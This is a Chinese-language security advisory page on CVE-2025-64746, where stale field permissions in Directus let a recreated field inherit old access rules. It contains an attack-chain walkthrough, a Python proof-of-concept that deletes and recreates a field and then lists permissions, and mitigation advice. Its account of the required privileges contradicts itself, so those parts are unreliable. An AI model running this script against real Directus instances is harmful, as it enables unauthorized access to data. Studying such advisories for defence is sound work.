IPBUF安全漏洞报告
English
CVE-2025-64746 CVSS 4.6 中危

CVE-2025-64746 Directus字段删除权限残留导致未授权访问

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64746
漏洞类型
访问控制绕过
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Directus

相关标签

访问控制绕过权限管理漏洞Directus字段删除权限残留中危漏洞CVE-2025-64746

漏洞概述

Directus是一款开源实时API和App仪表板,用于管理SQL数据库内容。在11.13.0之前的版本中存在一个权限管理漏洞:当字段从collection(集合)中删除时,系统未能正确清理该字段在permissions表中的权限记录。这些过时的权限引用会持续存在于数据库中,形成潜在的安全隐患。攻击者可能利用此漏洞通过创建与已删除字段同名的字段来继承其权限设置,从而获得对数据的未授权访问或修改权限。该漏洞在多租户环境或生产环境中风险较高,因为管理员可能会复用字段名称,误以为旧权限已被完全清除。版本11.13.0已修复此问题,建议用户尽快升级。

技术细节

该漏洞的根本原因在于Directus的权限管理机制与字段生命周期管理之间存在不同步问题。当管理员删除某个字段时,系统仅移除了字段本身的定义,但相应的权限表记录(directus_permissions表中该字段的权限条目)并未被清理。这导致permissions表积累了大量孤立的历史权限记录。

攻击者首先需要拥有一个低权限账户,并能够在目标collection中创建新字段。攻击的核心在于利用字段名称的复用机制:当新创建的字段名称与已删除字段的历史名称相同时,该新字段会自动继承permissions表中的历史权限条目。这意味着原本针对旧字段设置的权限限制会被应用到新字段上。

例如:假设字段'A'原本对角色X设置了禁止访问权限。当字段'A'被删除后,如果角色X的管理员创建了新字段'A',该字段会继承之前字段'A'的所有权限设置(包括允许访问的设置),从而导致角色X获得了超出预期的访问权限。攻击成功需要目标系统存在可复用的字段名称,并且攻击者能够以管理员身份执行字段创建操作。

攻击链分析

STEP 1
1
侦察阶段:攻击者获取Directus系统访问权限,确认目标版本低于11.13.0,并识别存在敏感数据的collection
STEP 2
2
字段删除:攻击者利用管理员权限或社会工程手段触发目标字段的删除操作,观察permissions表中的权限记录是否残留
STEP 3
3
字段重建:攻击者创建与已删除字段相同名称的新字段,系统自动从permissions表加载历史权限配置
STEP 4
4
权限继承验证:新字段继承过时的权限条目,可能导致原本受限的字段被意外授权访问
STEP 5
5
数据窃取/篡改:攻击者利用继承的权限对新字段关联的数据执行未授权的读取、修改或删除操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64746 PoC - Directus Field Permission Stale Reference # This PoC demonstrates the permission inheritance vulnerability import requests import json TARGET_URL = "https://vulnerable-directus-instance.com" API_TOKEN = "your-low-privilege-token" TARGET_COLLECTION = "users" FIELD_NAME = "sensitive_field" def check_version(): """Check if Directus version is vulnerable (< 11.13.0)""" response = requests.get(f"{TARGET_URL}/server/info", headers={"Authorization": f"Bearer {API_TOKEN}"}) version = response.json().get("data", {}).get("version", "") major, minor, patch = map(int, version.split(".")[:3]) if major < 11 or (major == 11 and minor < 13): print(f"[+] Version {version} is vulnerable") return True return False def delete_field(field_name): """Step 1: Delete the target field""" response = requests.delete( f"{TARGET_URL}/fields/{TARGET_COLLECTION}/{field_name}", headers={"Authorization": f"Bearer {API_TOKEN}"} ) return response.status_code == 204 def create_field(field_name): """Step 2: Create new field with same name""" payload = { "field": field_name, "type": "string", "meta": {"special": "file"} } response = requests.post( f"{TARGET_URL}/fields/{TARGET_COLLECTION}", headers={"Authorization": f"Bearer {API_TOKEN}"}, json=payload ) return response.status_code in [200, 201] def check_permissions_inheritance(): """Step 3: Verify if new field inherited stale permissions""" response = requests.get( f"{TARGET_URL}/permissions", headers={"Authorization": f"Bearer {API_TOKEN}"} ) permissions = response.json().get("data", []) # Check if permissions exist for the field field_perms = [p for p in permissions if p.get("field") == FIELD_NAME and p.get("collection") == TARGET_COLLECTION] if field_perms: print(f"[+] Stale permissions found for field '{FIELD_NAME}'") print(f"[+] Permissions: {json.dumps(field_perms, indent=2)}") return True return False def main(): if not check_version(): print("[-] Version is not vulnerable") return print("[*] Step 1: Deleting field...") delete_field(FIELD_NAME) print("[*] Step 2: Creating field with same name...") create_field(FIELD_NAME) print("[*] Step 3: Checking permission inheritance...") if check_permissions_inheritance(): print("[+] Vulnerability confirmed: stale permissions inherited") else: print("[-] No permission inheritance detected") if __name__ == "__main__": main()

影响范围

Directus < 11.13.0

防御指南

临时缓解措施
在无法立即升级的情况下,应采取以下临时措施:1) 暂停字段删除操作,确需删除字段时手动清理permissions表中的相关记录;2) 对所有collection进行权限审计,检查是否存在孤立的历史权限条目;3) 加强管理员账户安全,使用多因素认证;4) 限制低权限用户的字段创建能力;5) 监控日志中的异常权限继承行为。虽然临时措施可以降低风险,但无法完全消除漏洞,建议尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表